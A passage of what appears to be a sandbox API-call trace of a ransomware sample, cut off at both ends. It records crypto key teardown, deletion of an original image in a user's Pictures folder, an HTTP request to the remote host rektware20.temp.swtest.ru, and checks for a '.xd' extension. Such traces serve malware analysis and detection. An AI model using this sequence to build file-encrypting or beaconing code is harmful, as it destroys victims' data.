lpMsg=0x130ec34) returned 0 [0061.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.653] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.653] WriteFile (in: hFile=0x2ac, lpBuffer=0x17c3388*, nNumberOfBytesToWrite=0x45a0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c3388*, lpNumberOfBytesWritten=0x130f01c*=0x45a0, lpOverlapped=0x0) returned 1 [0061.654] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.654] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.654] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.654] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.654] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.655] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.655] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.655] CryptDestroyKey (hKey=0x164c6f0) returned 1 [0061.655] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.655] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.655] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.655] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.655] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.655] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.655] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.655] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.656] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.656] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.656] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.656] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.656] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.656] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.656] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.656] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.657] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.657] CryptReleaseContext (hProv=0x17aa4d8, dwFlags=0x0) returned 1 [0061.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.657] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.657] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.658] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.658] CloseHandle (hObject=0x3bc) returned 1 [0061.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.659] CloseHandle (hObject=0x2ac) returned 1 [0061.661] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.661] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.662] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", lpFilePart=0x0) returned 0x5f [0061.662] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\nqdiet1uplqkao.jpg")) returned 0x20 [0061.662] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c370 [0061.663] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\nqdiet1uplqkao.jpg")) returned 1 [0061.665] FindNextFileW (in: hFindFile=0x164c370, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.665] FindClose (in: hFindFile=0x164c370 | out: hFindFile=0x164c370) returned 1 [0061.665] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.665] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.665] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.665] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.666] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.666] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.666] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.666] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.666] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.666] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.666] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.666] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0061.666] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.666] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.666] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.667] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.667] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.667] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.667] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.668] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.668] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.668] CloseHandle (hObject=0x0) returned 0 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.668] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.670] CompareStringW (Locale=0x400, 